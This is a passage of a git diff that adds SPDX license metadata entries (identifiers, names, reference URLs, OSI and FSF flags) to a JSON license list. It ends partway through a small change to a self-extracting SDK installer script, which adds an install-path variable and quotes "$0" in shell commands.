+ "licenseId": "MIT-feh",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT#feh"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RPL-1.1.json",
+ "referenceNumber": 413,
+ "name": "Reciprocal Public License 1.1",
+ "licenseId": "RPL-1.1",
+ "seeAlso": [
+ "https://opensource.org/licenses/RPL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDLA-Permissive-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDLA-Permissive-1.0.json",
+ "referenceNumber": 414,
+ "name": "Community Data License Agreement Permissive 1.0",
+ "licenseId": "CDLA-Permissive-1.0",
+ "seeAlso": [
+ "https://cdla.io/permissive-1-0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Python-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Python-2.0.json",
+ "referenceNumber": 415,
+ "name": "Python License 2.0",
+ "licenseId": "Python-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Python-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-1.0.json",
+ "referenceNumber": 416,
+ "name": "Mozilla Public License 1.0",
+ "licenseId": "MPL-1.0",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/MPL-1.0.html",
+ "https://opensource.org/licenses/MPL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-or-later.json",
+ "referenceNumber": 417,
+ "name": "GNU Free Documentation License v1.1 or later",
+ "licenseId": "GFDL-1.1-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/diffmark.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/diffmark.json",
+ "referenceNumber": 418,
+ "name": "diffmark license",
+ "licenseId": "diffmark",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/diffmark"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0+.json",
+ "referenceNumber": 419,
+ "name": "GNU General Public License v1.0 or later",
+ "licenseId": "GPL-1.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OpenSSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OpenSSL.json",
+ "referenceNumber": 420,
+ "name": "OpenSSL License",
+ "licenseId": "OpenSSL",
+ "seeAlso": [
+ "http://www.openssl.org/source/license.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-1.0.json",
+ "referenceNumber": 421,
+ "name": "Open Software License 1.0",
+ "licenseId": "OSL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/OSL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Parity-6.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Parity-6.0.0.json",
+ "referenceNumber": 422,
+ "name": "The Parity Public License 6.0.0",
+ "licenseId": "Parity-6.0.0",
+ "seeAlso": [
+ "https://paritylicense.com/versions/6.0.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-1.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-1.0.json",
+ "referenceNumber": 423,
+ "name": "Affero General Public License v1.0",
+ "licenseId": "AGPL-1.0",
+ "seeAlso": [
+ "http://www.affero.org/oagpl.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/YPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/YPL-1.1.json",
+ "referenceNumber": 424,
+ "name": "Yahoo! Public License v1.1",
+ "licenseId": "YPL-1.1",
+ "seeAlso": [
+ "http://www.zimbra.com/license/yahoo_public_license_1.1.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SSH-short.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SSH-short.json",
+ "referenceNumber": 425,
+ "name": "SSH short notice",
+ "licenseId": "SSH-short",
+ "seeAlso": [
+ "https://github.com/openssh/openssh-portable/blob/1b11ea7c58cd5c59838b5fa574cd456d6047b2d4/pathnames.h",
+ "http://web.mit.edu/kolya/.f/root/athena.mit.edu/sipb.mit.edu/project/openssh/OldFiles/src/openssh-2.9.9p2/ssh-add.1",
+ "https://joinup.ec.europa.eu/svn/lesoll/trunk/italc/lib/src/dsa_key.cpp"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/IBM-pibs.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IBM-pibs.json",
+ "referenceNumber": 426,
+ "name": "IBM PowerPC Initialization and Boot Software",
+ "licenseId": "IBM-pibs",
+ "seeAlso": [
+ "http://git.denx.de/?p\u003du-boot.git;a\u003dblob;f\u003darch/powerpc/cpu/ppc4xx/miiphy.c;h\u003d297155fdafa064b955e53e9832de93bfb0cfb85b;hb\u003d9fab4bf4cc077c21e43941866f3f2c196f28670d"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Xnet.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Xnet.json",
+ "referenceNumber": 427,
+ "name": "X.Net License",
+ "licenseId": "Xnet",
+ "seeAlso": [
+ "https://opensource.org/licenses/Xnet"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/TU-Berlin-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TU-Berlin-1.0.json",
+ "referenceNumber": 428,
+ "name": "Technische Universitaet Berlin License 1.0",
+ "licenseId": "TU-Berlin-1.0",
+ "seeAlso": [
+ "https://github.com/swh/ladspa/blob/7bf6f3799fdba70fda297c2d8fd9f526803d9680/gsm/COPYRIGHT"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-3.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-3.0.json",
+ "referenceNumber": 429,
+ "name": "GNU Affero General Public License v3.0",
+ "licenseId": "AGPL-3.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/agpl.txt",
+ "https://opensource.org/licenses/AGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CAL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CAL-1.0.json",
+ "referenceNumber": 430,
+ "name": "Cryptographic Autonomy License 1.0",
+ "licenseId": "CAL-1.0",
+ "seeAlso": [
+ "http://cryptographicautonomylicense.com/license-text.html",
+ "https://opensource.org/licenses/CAL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-3.0.json",
+ "referenceNumber": 431,
+ "name": "Academic Free License v3.0",
+ "licenseId": "AFL-3.0",
+ "seeAlso": [
+ "http://www.rosenlaw.com/AFL3.0.htm",
+ "https://opensource.org/licenses/afl-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-C.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-C.json",
+ "referenceNumber": 432,
+ "name": "CeCILL-C Free Software License Agreement",
+ "licenseId": "CECILL-C",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL-C_V1-en.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-UK-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-UK-3.0.json",
+ "referenceNumber": 433,
+ "name": "Open Government Licence v3.0",
+ "licenseId": "OGL-UK-3.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/open-government-licence/version/3/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Clear.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Clear.json",
+ "referenceNumber": 434,
+ "name": "BSD 3-Clause Clear License",
+ "licenseId": "BSD-3-Clause-Clear",
+ "seeAlso": [
+ "http://labs.metacarta.com/license-explanation.html#license"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Modification.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Modification.json",
+ "referenceNumber": 435,
+ "name": "BSD 3-Clause Modification",
+ "licenseId": "BSD-3-Clause-Modification",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:BSD#Modification_Variant"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.0-UK.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.0-UK.json",
+ "referenceNumber": 436,
+ "name": "Creative Commons Attribution Share Alike 2.0 England and Wales",
+ "licenseId": "CC-BY-SA-2.0-UK",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.0/uk/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Saxpath.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Saxpath.json",
+ "referenceNumber": 437,
+ "name": "Saxpath License",
+ "licenseId": "Saxpath",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Saxpath_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NLPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NLPL.json",
+ "referenceNumber": 438,
+ "name": "No Limit Public License",
+ "licenseId": "NLPL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/NLPL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SimPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SimPL-2.0.json",
+ "referenceNumber": 439,
+ "name": "Simple Public License 2.0",
+ "licenseId": "SimPL-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/SimPL-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/psfrag.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/psfrag.json",
+ "referenceNumber": 440,
+ "name": "psfrag License",
+ "licenseId": "psfrag",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/psfrag"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Spencer-86.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Spencer-86.json",
+ "referenceNumber": 441,
+ "name": "Spencer License 86",
+ "licenseId": "Spencer-86",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Henry_Spencer_Reg-Ex_Library_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OCCT-PL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OCCT-PL.json",
+ "referenceNumber": 442,
+ "name": "Open CASCADE Technology Public License",
+ "licenseId": "OCCT-PL",
+ "seeAlso": [
+ "http://www.opencascade.com/content/occt-public-license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-S-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-S-2.0.json",
+ "referenceNumber": 443,
+ "name": "CERN Open Hardware Licence Version 2 - Strongly Reciprocal",
+ "licenseId": "CERN-OHL-S-2.0",
+ "seeAlso": [
+ "https://www.ohwr.org/project/cernohl/wikis/Documents/CERN-OHL-version-2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ErlPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ErlPL-1.1.json",
+ "referenceNumber": 444,
+ "name": "Erlang Public License v1.1",
+ "licenseId": "ErlPL-1.1",
+ "seeAlso": [
+ "http://www.erlang.org/EPLICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-CMU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-CMU.json",
+ "referenceNumber": 445,
+ "name": "CMU License",
+ "licenseId": "MIT-CMU",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:MIT?rd\u003dLicensing/MIT#CMU_Style",
+ "https://github.com/python-pillow/Pillow/blob/fffb426092c8db24a5f4b6df243a8a3c01fb63cd/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NIST-PD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NIST-PD.json",
+ "referenceNumber": 446,
+ "name": "NIST Public Domain Notice",
+ "licenseId": "NIST-PD",
+ "seeAlso": [
+ "https://github.com/tcheneau/simpleRPL/blob/e645e69e38dd4e3ccfeceb2db8cba05b7c2e0cd3/LICENSE.txt",
+ "https://github.com/tcheneau/Routing/blob/f09f46fcfe636107f22f2c98348188a65a135d98/README.md"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-2.0.json",
+ "referenceNumber": 447,
+ "name": "Open Software License 2.0",
+ "licenseId": "OSL-2.0",
+ "seeAlso": [
+ "http://web.archive.org/web/20041020171434/http://www.rosenlaw.com/osl2.0.html"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-2.0.json",
+ "referenceNumber": 448,
+ "name": "Apple Public Source License 2.0",
+ "licenseId": "APSL-2.0",
+ "seeAlso": [
+ "http://www.opensource.apple.com/license/apsl/"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Leptonica.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Leptonica.json",
+ "referenceNumber": 449,
+ "name": "Leptonica License",
+ "licenseId": "Leptonica",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Leptonica"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PolyForm-Small-Business-1.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PolyForm-Small-Business-1.0.0.json",
+ "referenceNumber": 450,
+ "name": "PolyForm Small Business License 1.0.0",
+ "licenseId": "PolyForm-Small-Business-1.0.0",
+ "seeAlso": [
+ "https://polyformproject.org/licenses/small-business/1.0.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LiLiQ-P-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LiLiQ-P-1.1.json",
+ "referenceNumber": 451,
+ "name": "Licence Libre du Québec – Permissive version 1.1",
+ "licenseId": "LiLiQ-P-1.1",
+ "seeAlso": [
+ "https://forge.gouv.qc.ca/licence/fr/liliq-v1-1/",
+ "http://opensource.org/licenses/LiLiQ-P-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NetCDF.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NetCDF.json",
+ "referenceNumber": 452,
+ "name": "NetCDF license",
+ "licenseId": "NetCDF",
+ "seeAlso": [
+ "http://www.unidata.ucar.edu/software/netcdf/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OML.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OML.json",
+ "referenceNumber": 453,
+ "name": "Open Market License",
+ "licenseId": "OML",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Open_Market_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-3.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-3.0-or-later.json",
+ "referenceNumber": 454,
+ "name": "GNU Affero General Public License v3.0 or later",
+ "licenseId": "AGPL-3.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/agpl.txt",
+ "https://opensource.org/licenses/AGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.2.json",
+ "referenceNumber": 455,
+ "name": "Open LDAP Public License v2.2",
+ "licenseId": "OLDAP-2.2",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d470b0c18ec67621c85881b2733057fecf4a1acc3"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause.json",
+ "referenceNumber": 456,
+ "name": "BSD 3-Clause \"New\" or \"Revised\" License",
+ "licenseId": "BSD-3-Clause",
+ "seeAlso": [
+ "https://opensource.org/licenses/BSD-3-Clause"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/WTFPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/WTFPL.json",
+ "referenceNumber": 457,
+ "name": "Do What The F*ck You Want To Public License",
+ "licenseId": "WTFPL",
+ "seeAlso": [
+ "http://www.wtfpl.net/about/",
+ "http://sam.zoy.org/wtfpl/COPYING"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-UK-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-UK-2.0.json",
+ "referenceNumber": 458,
+ "name": "Open Government Licence v2.0",
+ "licenseId": "OGL-UK-2.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/open-government-licence/version/2/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Attribution.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Attribution.json",
+ "referenceNumber": 459,
+ "name": "BSD with attribution",
+ "licenseId": "BSD-3-Clause-Attribution",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/BSD_with_Attribution"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RPSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RPSL-1.0.json",
+ "referenceNumber": 460,
+ "name": "RealNetworks Public Source License v1.0",
+ "licenseId": "RPSL-1.0",
+ "seeAlso": [
+ "https://helixcommunity.org/content/rpsl",
+ "https://opensource.org/licenses/RPSL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-DE.json",
+ "referenceNumber": 461,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 3.0 Germany",
+ "licenseId": "CC-BY-NC-ND-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUPL-1.1.json",
+ "referenceNumber": 462,
+ "name": "European Union Public License 1.1",
+ "licenseId": "EUPL-1.1",
+ "seeAlso": [
+ "https://joinup.ec.europa.eu/software/page/eupl/licence-eupl",
+ "https://joinup.ec.europa.eu/sites/default/files/custom-page/attachment/eupl1.1.-licence-en_0.pdf",
+ "https://opensource.org/licenses/EUPL-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Sendmail-8.23.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Sendmail-8.23.json",
+ "referenceNumber": 463,
+ "name": "Sendmail License 8.23",
+ "licenseId": "Sendmail-8.23",
+ "seeAlso": [
+ "https://www.proofpoint.com/sites/default/files/sendmail-license.pdf",
+ "https://web.archive.org/web/20181003101040/https://www.proofpoint.com/sites/default/files/sendmail-license.pdf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ODC-By-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ODC-By-1.0.json",
+ "referenceNumber": 464,
+ "name": "Open Data Commons Attribution License v1.0",
+ "licenseId": "ODC-By-1.0",
+ "seeAlso": [
+ "https://opendatacommons.org/licenses/by/1.0/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/D-FSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/D-FSL-1.0.json",
+ "referenceNumber": 465,
+ "name": "Deutsche Freie Software Lizenz",
+ "licenseId": "D-FSL-1.0",
+ "seeAlso": [
+ "http://www.dipp.nrw.de/d-fsl/lizenzen/",
+ "http://www.dipp.nrw.de/d-fsl/index_html/lizenzen/de/D-FSL-1_0_de.txt",
+ "http://www.dipp.nrw.de/d-fsl/index_html/lizenzen/en/D-FSL-1_0_en.txt",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/deutsche-freie-software-lizenz",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/german-free-software-license",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/D-FSL-1_0_de.txt/at_download/file",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/D-FSL-1_0_en.txt/at_download/file"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-4-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-4-Clause.json",
+ "referenceNumber": 466,
+ "name": "BSD 4-Clause \"Original\" or \"Old\" License",
+ "licenseId": "BSD-4-Clause",
+ "seeAlso": [
+ "http://directory.fsf.org/wiki/License:BSD_4Clause"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1.json",
+ "referenceNumber": 467,
+ "name": "GNU Lesser General Public License v2.1 only",
+ "licenseId": "LGPL-2.1",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-Views.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-Views.json",
+ "referenceNumber": 468,
+ "name": "BSD 2-Clause with views sentence",
+ "licenseId": "BSD-2-Clause-Views",
+ "seeAlso": [
+ "http://www.freebsd.org/copyright/freebsd-license.html",
+ "https://people.freebsd.org/~ivoras/wine/patch-wine-nvidia.sh",
+ "https://github.com/protegeproject/protege/blob/master/license.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-1.0-Perl.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-1.0-Perl.json",
+ "referenceNumber": 469,
+ "name": "Artistic License 1.0 (Perl)",
+ "licenseId": "Artistic-1.0-Perl",
+ "seeAlso": [
+ "http://dev.perl.org/licenses/artistic.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NPOSL-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NPOSL-3.0.json",
+ "referenceNumber": 470,
+ "name": "Non-Profit Open Software License 3.0",
+ "licenseId": "NPOSL-3.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/NOSL3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/gSOAP-1.3b.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/gSOAP-1.3b.json",
+ "referenceNumber": 471,
+ "name": "gSOAP Public License v1.3b",
+ "licenseId": "gSOAP-1.3b",
+ "seeAlso": [
+ "http://www.cs.fsu.edu/~engelen/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Interbase-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Interbase-1.0.json",
+ "referenceNumber": 472,
+ "name": "Interbase Public License v1.0",
+ "licenseId": "Interbase-1.0",
+ "seeAlso": [
+ "https://web.archive.org/web/20060319014854/http://info.borland.com/devsupport/interbase/opensource/IPL.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/StandardML-NJ.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/StandardML-NJ.json",
+ "referenceNumber": 473,
+ "name": "Standard ML of New Jersey License",
+ "licenseId": "StandardML-NJ",
+ "seeAlso": [
+ "http://www.smlnj.org//license.html"
+ ],
+ "isOsiApproved": false
+ }
+ ],
+ "releaseDate": "2021-08-08"
+} \ No newline at end of file
diff --git a/meta/files/toolchain-shar-extract.sh b/meta/files/toolchain-shar-extract.sh
index bea6d4189a..4386b985bb 100644
--- a/meta/files/toolchain-shar-extract.sh
+++ b/meta/files/toolchain-shar-extract.sh
@@ -56,7 +56,8 @@ if ! xz -V > /dev/null 2>&1; then
exit 1
fi
-DEFAULT_INSTALL_DIR="@SDKPATH@"
+SDK_BUILD_PATH="@SDKPATH@"
+DEFAULT_INSTALL_DIR="@SDKPATHINSTALL@"
SUDO_EXEC=""
EXTRA_TAR_OPTIONS=""
target_sdk_dir=""
@@ -95,7 +96,7 @@ while getopts ":yd:npDRSl" OPT; do
listcontents=1
;;
*)
- echo "Usage: $(basename $0) [-y] [-d <dir>]"
+ echo "Usage: $(basename "$0") [-y] [-d <dir>]"
echo " -y Automatic yes to all prompts"
echo " -d <dir> Install the SDK to <dir>"
echo "======== Extensible SDK only options ============"
@@ -111,17 +112,17 @@ while getopts ":yd:npDRSl" OPT; do
esac
done
-payload_offset=$(($(grep -na -m1 "^MARKER:$" $0|cut -d':' -f1) + 1))
+payload_offset=$(($(grep -na -m1 "^MARKER:$" "$0"|cut -d':' -f1) + 1))
if [ "$listcontents" = "1" ] ; then
if [ @SDK_ARCHIVE_TYPE@ = "zip" ]; then
- tail -n +$payload_offset $0 > sdk.zip
+ tail -n +$payload_offset "$0" > sdk.zip
if unzip -l sdk.zip;then
